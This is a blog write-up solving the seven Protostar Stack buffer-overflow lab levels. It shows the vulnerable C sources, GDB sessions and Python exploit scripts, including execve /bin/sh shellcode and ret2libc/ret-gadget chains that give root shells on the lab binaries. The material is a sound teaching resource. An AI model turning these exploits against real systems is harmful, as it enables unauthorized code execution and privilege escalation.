Home Exploit Exercise Protostar Stack Series
Post
Cancel

Exploit Exercise Protostar Stack Series

Exploit Exercises Protostar Stack Series

In this series I will solve each of the seven levels of in from exploit exercises protostar. You can find more info about the challenges here. I will show you the source code and do my best to explain what is going on behind the scenes, my thought process, and how to solve and exploit each of the challenges. I tend to use GDB-Peda, Radare2, or GDB.

Stack Zero

Source Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  modified = 0;
  gets(buffer);

  if(modified != 0) {
      printf("you have changed the 'modified' variable\n");
  } else {
      printf("Try again?\n");
  }
}

Overview

This level introduces the concept that memory can be accessed outside of its allocated region, how the stack variables are laid out, and that modifying outside of the allocated memory can modify program execution. Viewing the source code we can that it is requiring the user to input some data with gets(). Which will then be saved to our buffer variable.

1
2
3
4
ap3x@kali-exploitdev:~/Documents/ExploitExercise/Protostart$ ./stack0 
test
Try again?
ap3x@kali-exploitdev:~/Documents/ExploitExercise/Protostart$ 

We need to change the value of modified to step into the “if”.

Exploit

There is a char buffer that allocates 64 bytes. In the source code the modified variable is set to 0 then the line right after gets() is called where it requires the user to input some data. If we check out the manpage for this we can see that there is a bug:

1
2
3
4
5
6
7
8
BUGS
       Never use gets().  Because it is impossible to tell without knowing the data in advance how many characters gets()
       will read, and because gets() will continue to store characters past the end of the buffer, it is  extremely  dan‐
       gerous to use.  It has been used to break computer security.  Use fgets() instead.

       For  more information, see CWE-242 (aka "Use of Inherently Dangerous Function") at http://cwe.mitre.org/data/defi‐
       nitions/242.html

The issue as stated in the bug is that the characters are stored within the buffer and the characters inputted can go over the allocated amount without any checks. Since the buffer variable is stored on the stack. Since the variable monitored is placed on the stack before the buffer array and knowing that the stack grows downward we can overwrite the monitored variable and change the value. We can test this with the help of some python.

1
python -c "print 'A'*68" | ./stack0

The output reveals that we have changed the variable

1
2
ap3x@kali-exploitdev:~/Documents/ExploitExercise/Protostart$ python -c "print 'A'*65" | ./stack0 
you have changed the 'modified' variable

Stack One

Source Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  if(argc == 1) {
      errx(1, "please specify an argument\n");
  }

  modified = 0;
  strcpy(buffer, argv[1]);

  if(modified == 0x61626364) {
      printf("you have correctly got the variable to the right value\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }
}

Overview

This level looks at the concept of modifying variables to specific values in the program, and how the variables are laid out in memory.

The first if statement checks if there is the correct number of arguments and if there is an argument passed then it is saved into buffer. This is very similar to Stack 0. The issue is mainly with strcpy()

1
2
ap3x@kali-exploitdev:~/Documents/ExploitExercise/Protostart$ ./stack1 test
Try again, you got 0x00000000

Exploit

The issue with this piece of source code is the strcpy() and we can verify this by viewing the manpage for the strcpy as shown below

1
2
BUGS
       If the destination string of a strcpy() is not large enough, then anything might happen. Overflowing fixed-length string buffers is a favorite cracker technique for taking complete control of the machine. Any time a program reads or copies data into a buffer, the program first needs to check that there's enough space. This may be un‐necessary if you can show that overflow is impossible, but be careful: programs can get changed over time, in ways that may make the impossible possible.

Since the modified variable is stored before the buffer variable and a strcpy is used to store a string of characters into the buffer without checking if it fits we can change the value of modified. So in this instance we want to change modified to match 0x61626364. So we can convert the hex to see what the ascii equivalent is and use that to overwrite the variable value

1
2
>>> "61626364".decode("hex")
'abcd'

Now we can append abcd to the end of our 65 bytes of ‘A’ as seen below. But notice the bytes are arranged in big endian format.

1
2
3
4
ap3x@kali-exploitdev:~/Documents/ExploitExercise/Protostart$ ./stack1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAabcd
Try again, you got 0x64636261
ap3x@kali-exploitdev:~/Documents/ExploitExercise/Protostart$ ./stack1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdcba
you have correctly got the variable to the right value

Stack Two

Source Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];
  char *variable;

  variable = getenv("GREENIE");

  if(variable == NULL) {
      errx(1, "please set the GREENIE environment variable\n");
  }

  modified = 0;

  strcpy(buffer, variable);

  if(modified == 0x0d0a0d0a) {
      printf("you have correctly modified the variable\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }

}

Overview

Stack2 looks at environment variables, and how they can be set. After we try to execute the program we can see that we need to set the GREENIE environment variable

1
2
3
4
5
6
ap3x@kali-exploitdev:~/Documents/ExploitExercise/Protostart$ ./stack2 
stack2: please set the GREENIE environment variable

ap3x@kali-exploitdev:~/Documents/ExploitExercise/Protostart$ export GREENIE=test
ap3x@kali-exploitdev:~/Documents/ExploitExercise/Protostart$ ./stack2 
Try again, you got 0x00000000

Exploit

In this program it is similar to the previous challeneg, but instead we are using a environment variable called GREENIE. So we have to set the variable with the export and set a new value. It looks like the value that the program is looking for is 0x0d0a0d0a. So we can decode the hex to ascii and see that it uses the newline and return hex values.

1
2
>>> '0d0a0d0a'.decode('hex')
'\r\n\r\n'

So if we try to append this to a 64 byte ‘A’ string then we get this:

1
2
ap3x@kali-exploitdev:~/Documents/ExploitExercise/Protostart$ export GREENIE=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n\r\n
ap3x@kali-exploitdev:~/Documents/ExploitExercise/Protostart$ ./stack2 Try again, you got 0x6e726e72

The values are not correctly interpreted so we can use a little python to get the exact values we want.

1
2
3
ap3x@kali-exploitdev:~/Documents/ExploitExercise/Protostart$ export GREENIE=`python -c "print 'A'*64 + '\x0a\x0d\x0a\x0d'"`
ap3x@kali-exploitdev:~/Documents/ExploitExercise/Protostart$ ./stack2 
you have correctly modified the variable

Stack Three

Source Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  volatile int (*fp)();
  char buffer[64];

  fp = 0;

  gets(buffer);

  if(fp) {
      printf("calling function pointer, jumping to 0x%08x\n", fp);
      fp();
  }
}

Overview

Stack3 looks at environment variables, and how they can be set, and overwriting function pointers stored on the stack (as a prelude to overwriting the saved EIP)

1
2
ap3x@kali-exploitdev:~/Documents/ExploitExercise/Protostar$ ./stack3
test

Exploit

This is very similar to the previous challenges, but instead the bug in the program is gets(). If we look at the manpage for gets() we can understand the bug a little better.

1
2
BUGS
       Never use gets(). Because it is impossible to tell without knowing the data in advance how many characters gets() will read, and because gets() will continue to store  characters  past the end of the buffer, it is extremely dangerous to use.  It has been used to break computer security.  Use fgets() instead.

Since the gets() function continues to store characters past the end of the buffer and the function pointer fp is declared before the buffer variable we can overwrite this. Since we need to get to the win() function we need to get the address of where it is at. We can do this by using object dump as seen below.

1
2
ap3x@kali-exploitdev:~/Documents/ExploitExercise/Protostar$ objdump -D ./stack3 | grep win
08048424 <win>:

Now that we know the address of the win() function and knowing that the system uses big endian we can solve the challenge

1
2
3
ap3x@kali-exploitdev:~/Documents/ExploitExercise/Protostar$ python -c "print 'A'*64 + '\x24\x84\x04\x08'" | ./stack3
calling function pointer, jumping to 0x08048424
code flow successfully changed

Stack Four

Source Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

Overview

Stack4 takes a look at overwriting saved EIP and standard buffer overflows.

1
2
ap3x@kali-exploitdev:~/Documents/ExploitExercise/Protostar$ ./stack4
test

Exploit

This is where things become a little more tricky than the previous challenges. We know that the end goal is to alter the program use the win() function and display the message. So first we wanna find out the address of where the function is stored.

1
2
ap3x@kali-exploitdev:~/Documents/ExploitExercise/Protostar$ objdump -D ./stack4 | grep win
080483f4 <win>:

Now that we know the address of the win() function is stored at 0x080483f4 can save that for later. We also want to create a file with our 64 ‘A’ to understand the size of the stack.

1
ap3x@kali-exploitdev:~/Documents/ExploitExercise/Protostar$ python -c "print 'A'*64" > buffer64

When we run gdb in TUI mode and set the layout of regs and asm and finally set a break point on main we can passing our 64 ‘A’ by using r < buffer64 then we can check the stack by using x/30x $esp as shown below.

Right after the gets() which is the end of our main we return to the previous function. We can see this at 0x0804841d in gdb. This uses the base pointer which is stored right after our stack and can be overwritten to change which function the return is going to navigate to. In order to do so we must do some math to figure out the number of bytes to change that value.

1
2
>>> int('0xffffd46c', 16) - int('0xffffd420',16)
76

Now that we know it takes exactly 76 bytes to overwrite the base pointer value we can craft another file to change it.

1
python -c "print 'A'*76 + '\xf4\x83\x04\x08' " > buffer64Address

Now once we run it we can see that the return jumped to the win() function and we have solved the challenge.

1
2
3
ap3x@kali-exploitdev:~/Documents/ExploitExercise/Protostar$ ./stack4 < buffer64Address 
code flow successfully changed
Segmentation fault

Stack Five

Source Code

1
2
3
4
5
6
7
8
9
10
11
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

Overview

Stack5 is a standard buffer overflow, this time introducing shellcode.

1
2
$ ./stack5        
test

Exploit

From the source code we can see that there is no function that we are trying to jump to and that we need to provide our own shellcode. This works out perfect we can use our shellcode from the SLAE64 course to obtain a shell or use shellstorm.

Since we know what we are trying to exploit the gets() function we can begin and try to find the EIP offset or the (Instruction Pointer Offset). I prefer to use pattern_create and pattern_offset that is already built into Kali.

1
2
ap3x@kali-exploitdev:~/Documents/ExploitExercise/Protostar$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 100
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

This gives us a unique pattern to use to find the offset of the EIP. We can paste this into the program and get where the EIP is overwritten.

1
2
3
4
5
6
7
(gdb) r
Starting program: /opt/protostar/bin/stack5 
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

Program received signal SIGSEGV, Segmentation fault.
0x63413563 in ?? ()
(gdb) 

Then we can use python to figure out the ascii value for the hex that replaced the EIP register value

1
2
>>> struct.pack("I", 0x63413563)
'c5Ac'

Then use the pattern_offset script to find the exact offset

1
2
ap3x@kali-exploitdev:~/Documents/ExploitExercise/Protostar$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q  c5Ac -l 100
[*] Exact match at offset 76

Now that we know the offset we can begin to form our exploit. Below is a photo what our stack looks like on the left and the stack on the right is what we want our stack to look like after sending our exploit code.

To test this out we can send 76 A’s then four B’s then 4 C’s for safe measure.

1
2
>>> "A"*76+"BBBB"+"CCCC"
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC'

Pasting this into GDB

1
2
3
4
5
6
7
8
9
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/stack5 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) 

If we take a look at the registers using the info reg command in GDB we can see that the EBP register (Base Pointer) was overwritten with A’s and the EIP was overwritten with B’s

1
2
3
4
5
esp            0xbffffcc0       0xbffffcc0
ebp            0x41414141       0x41414141
esi            0x0      0
edi            0x0      0
eip            0x42424242       0x42424242

Now that we have confirmed we can control the EIP value we can point this to our shellcode. We need to figure out where the “CCCC” we sent are store on the stack.

1
2
3
4
5
6
7
8
(gdb) x/100x $esp-100 
0xbffffc5c:     0x080483d9      0xbffffc70      0xb7ec6165      0xbffffc78
0xbffffc6c:     0xb7eada75      0x41414141      0x41414141      0x41414141
0xbffffc7c:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffc8c:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffc9c:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffcac:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffcbc:     0x42424242      0x43434343      0xbffffd00      0xbffffd6c

We can see that at address 0xbffffcc0 (0xbffffcbc + 4 ) is where our “CCCC” or 0x43434343 were placed on the stack. Now we can begin to write our exploit.

1
2
3
4
5
6
7
8
import struct

padding = "A"*76
nops = "\x90"*14
eip = struct.pack("I",0xbffffcc0)
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
payload = padding+eip+nops+shellcode
print payload

The shellcode that I used execute the /bin/dash shell for us. You can find this code here. We will now have to save the output of this to a file.

1
python exploit5.py > /tmp/txt

We can now test this out on our binary. The dash is used to pass the file hex in as stdin.

1
2
3
$ cat /tmp/txt - | /opt/protostar/bin/./stack5 
whoami 
root

Stack Six

Source Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xbf000000) == 0xbf000000) {
    printf("bzzzt (%p)\n", ret);
    _exit(1);
  }

  printf("got path %s\n", buffer);
}

int main(int argc, char **argv)
{
  getpath();
}

Overview

Stack6 looks at what happens when you have restrictions on the return address. This level can be done in a couple of ways, such as finding the duplicate of the payload ( objdump -s will help with this), or ret2libc , or even return orientated programming.

Exploit

First we need to find the offset. We can use pattern_create.rb to create our uniqe offset.

1
2
ap3x@kali-exploitdev:~$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 100
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

Now we can paste our unique string into the user input in GDB.

1
2
3
4
5
6
7
8
(gdb) c
Continuing.
input path please: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
got path Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A6Ac72Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

Program received signal SIGSEGV, Segmentation fault.
0x37634136 in ?? ()
(gdb) 

When convert 0x37634136 to ASCII using python it’s 6Ac7.

1
2
ap3x@kali-exploitdev:~$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q  6Ac7 -l 100
[*] Exact match at offset 80

Now that we have verified that our offset is at 80 bytes we can begin to develop our exploit. Something that is very important to point out about the code is that the return addresses starting with 0xbf are filtered, which essentially stops us from executing on the stack. Although there is a way we can get around this using ret2libc. The ret2libc takes advantage of the fact that the libc library is loaded into memory and its also used by the program. So we can set the return address to the address of any function in the C library. In order to take control of the program we will be using system(). We will over rite part of the stack that was set prior to calling getpath() and manually inject stack frames to call system(). We will specifically be overwriting the return address of getpath() with system().

As shown in the photo above we will replace the return address 1 of getpath() with system() and return address 2 is not important and will be explained in stack seven. Finally we will have to pass a string which is the command we want to execute, which will be /bin/sh. So in GDB we need to find the address of system().

1
2
(gdb) p system
$3 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>

Now we need to find where libc is loaded so we can call /bin/sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
(gdb) info proc map 
process 11431
cmdline = '/opt/protostar/bin/stack6'
cwd = '/opt/protostar/bin'
exe = '/opt/protostar/bin/stack6'
Mapped address spaces:

        Start Addr   End Addr       Size     Offset objfile
         0x8048000  0x8049000     0x1000          0        /opt/protostar/bin/stack6
         0x8049000  0x804a000     0x1000          0        /opt/protostar/bin/stack6
         0x804a000  0x806b000    0x21000          0           [heap]
        0xb7e96000 0xb7e97000     0x1000          0        
        0xb7e97000 0xb7fd5000   0x13e000          0         /lib/libc-2.11.2.so
        0xb7fd5000 0xb7fd6000     0x1000   0x13e000         /lib/libc-2.11.2.so
        0xb7fd6000 0xb7fd8000     0x2000   0x13e000         /lib/libc-2.11.2.so
        0xb7fd8000 0xb7fd9000     0x1000   0x140000         /lib/libc-2.11.2.so
        0xb7fd9000 0xb7fdc000     0x3000          0        
        0xb7fde000 0xb7fe2000     0x4000          0        
        0xb7fe2000 0xb7fe3000     0x1000          0           [vdso]
        0xb7fe3000 0xb7ffe000    0x1b000          0         /lib/ld-2.11.2.so
        0xb7ffe000 0xb7fff000     0x1000    0x1a000         /lib/ld-2.11.2.so
        0xb7fff000 0xb8000000     0x1000    0x1b000         /lib/ld-2.11.2.so
        0xbffeb000 0xc0000000    0x15000          0           [stack]

Now that we know where libc starts at address 0xb7e97000. Since /bin/sh is a string on in libc we can find the offset from the start of the file. In order to do this we can use the -t x to display the the offset in hex.

1
2
user@protostar:/opt/protostar/bin$ strings -a -t x /lib/libc-2.11.2.so | grep /bin/sh
 11f3bf /bin/sh

We can see that the offset is at 0x11f3bf we can find the exact offset in memory since we know the base address is 0xb7e97000.

1
2
>>> hex(0xb7e97000 + 0x11f3bf)
'0xb7fb63bf'

If we go back into GDB we can verify this:

1
2
(gdb) x/s 0xb7fb63bf
0xb7fb63bf:  "/bin/sh"

The final exploit script is:

1
2
3
4
5
import struct
offset = "A"*80
system = struct.pack("I", 0xb7ecffb0);
shell = struct.pack("I", 0xb7fb63bf);
print offset + system + 'AAAA' + shell 
1
2
3
4
5
user@protostar:/opt/protostar/bin$ python /tmp/exploit6.py > /tmp/txt2
user@protostar:/opt/protostar/bin$ (cat /tmp/txt2; cat) | ./stack6   
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����AAAAAAAAAAAA����AAAA�c��
whoami
root

Stack Seven

Source Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

char *getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xb0000000) == 0xb0000000) {
      printf("bzzzt (%p)\n", ret);
      _exit(1);
  }

  printf("got path %s\n", buffer);
  return strdup(buffer);
}

int main(int argc, char **argv)
{
  getpath();
}

Overview

Stack6 introduces return to .text to gain code execution.

When the call assembly instruction is called in the main for getpath() the return address is put on top of the stack and if any arguments were passed then it would also be put on the stack. If we write enough data to the buffer, we can overwrite the return address with our own address so we can hijack the execution flow when ret is executed. There is an issue though… the modified return address cannot start with 0xb otherwise it will exit.

Exploit

When we open the stack7 binary in gdb we can first start by setting a break right at the ret

1
2
3
4
5
6
7
8
9
10
11
user@protostar:/opt/protostar/bin$ gdb -q ./stack7
(gdb) set disassembly-flavor intel
(gdb) disas getpath
Dump of assembler code for function getpath:
...
0x0804853e <getpath+122>: call   0x80483f4 <strdup@plt>
0x08048543 <getpath+127>: leave
0x08048544 <getpath+128>: ret
End of assembler dump.
(gdb) b *0x08048543
Breakpoint 1 at 0x8048543: file stack7/stack7.c, line 24.

Similar to the previous levels we were able to find the offset with pattern_create.rb and found out that the offset is 80 bytes. For this challenge Im gonna use the ret2libc technique. Essentially we want to put the address of the the libc function system() as the return address and pass /bin/sh as an argument. Since strings in C are passed as pointers then the stack should contain the address of the string.

Now we can use GDB to find the address of system() to get the address.

1
2
(gdb) p system
$3 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>

Now we need to find where libc is loaded so we can call /bin/sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
(gdb) info proc map 
process 11431
cmdline = '/opt/protostar/bin/stack7'
cwd = '/opt/protostar/bin'
exe = '/opt/protostar/bin/stack7'
Mapped address spaces:

        Start Addr   End Addr       Size     Offset objfile
         0x8048000  0x8049000     0x1000          0        /opt/protostar/bin/stack7
         0x8049000  0x804a000     0x1000          0        /opt/protostar/bin/stack7
         0x804a000  0x806b000    0x21000          0           [heap]
        0xb7e96000 0xb7e97000     0x1000          0        
        0xb7e97000 0xb7fd5000   0x13e000          0         /lib/libc-2.11.2.so
        0xb7fd5000 0xb7fd6000     0x1000   0x13e000         /lib/libc-2.11.2.so
        0xb7fd6000 0xb7fd8000     0x2000   0x13e000         /lib/libc-2.11.2.so
        0xb7fd8000 0xb7fd9000     0x1000   0x140000         /lib/libc-2.11.2.so
        0xb7fd9000 0xb7fdc000     0x3000          0        
        0xb7fde000 0xb7fe2000     0x4000          0        
        0xb7fe2000 0xb7fe3000     0x1000          0           [vdso]
        0xb7fe3000 0xb7ffe000    0x1b000          0         /lib/ld-2.11.2.so
        0xb7ffe000 0xb7fff000     0x1000    0x1a000         /lib/ld-2.11.2.so
        0xb7fff000 0xb8000000     0x1000    0x1b000         /lib/ld-2.11.2.so
        0xbffeb000 0xc0000000    0x15000          0           [stack]

Now that we know where libc starts at address 0xb7e97000. Since /bin/sh is a string on in libc we can find the offset from the start of the file. In order to do this we can use the -t x to display the the offset in hex.

1
2
user@protostar:/opt/protostar/bin$ strings -a -t x /lib/libc-2.11.2.so | grep /bin/sh
 11f3bf /bin/sh

We can see that the offset is at 0x11f3bf we can find the exact offset in memory since we know the base address is 0xb7e97000.

1
2
>>> hex(0xb7e97000 + 0x11f3bf)
'0xb7fb63bf'

If we go back into GDB we can verify this:

1
2
(gdb) x/s 0xb7fb63bf
0xb7fb63bf:  "/bin/sh"

Now we can begin to write our exploit with all this info.

1
2
3
4
import struct
offset = "A"*80
system = struct.pack("I", 0xb7ecffb0);
shell = struct.pack("I", 0xb7fb63bf);

But wait… Remember there is a restriction on the return address that we haven’t satisfied yet. The return address of system starts with 0xb. So to get around this we will have to utilize ROP (Return Oriented Programming). Which essentially we want to find gadgets, which is small set of instructions already present in the code to accomplish a specific goal.

When the ret variable is set the processor will push to the address to the top of the stack into thus changing the EIP, and will also increment ESP by 4 bytes (stack grows towards lower addresses). If the address at the top of the stack points to another ret instruction, when it is poped off and executed the step I previously explained will happen again and the execution will continue at the next address that is on the stack. So we need can avoid the the return address checking by modifying our exploit to put the address of a ret instruction as the return address, before the address of the system. We can use a random ret instruction address in our program. For this exploit I just used the first address.

1
2
3
4
5
6
7
8
9
10
11
user@protostar:/opt/protostar/bin# objdump -D stack7 | grep ret
 8048383:       c3                      ret    
 8048494:       c3                      ret    
 80484c2:       c3                      ret    
 8048544:       c3                      ret    
 8048553:       c3                      ret    
 8048564:       c3                      ret    
 80485c9:       c3                      ret    
 80485cd:       c3                      ret    
 80485f9:       c3                      ret    
 8048617:       c3                      ret    

So now our stack should look something like this:

The final exploit will look something like below:

1
2
3
4
5
6
import struct
offset = "A"*80
ret = struct.pack("I", 0x8048383); # address of ret
system = struct.pack("I", 0xb7ecffb0); # system()
shell = struct.pack("I", 0xb7fb63bf); # "/bin/sh"
print offset + ret + system + 'AAAA' + shell 

But wait why are we using AAAA well remember “return address 3” in the photo above? It techincally doesn’t matter what this is as long as its 4 bytes. The AAAA can be replaced with exit address since this value is used for the return address for system().

1
2
3
4
$ (cat /tmp/txt; cat) | ./stack7
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�AAAAAAAAAAAA�����AAAA�c��
whoami
root

So what now?

I just wanna make it clear that doing Protostar is not the same as exploiting modern systems. The challenges are compiled on older 32 bit systems and lack mitigation techniques that are common practice today, such as:

  • Non-executable stack (NX) not enabled
  • No stack canaries
  • The system has ASLR (Address Space Layout Randomization) disabled
This post is licensed under CC BY 4.0 by the author.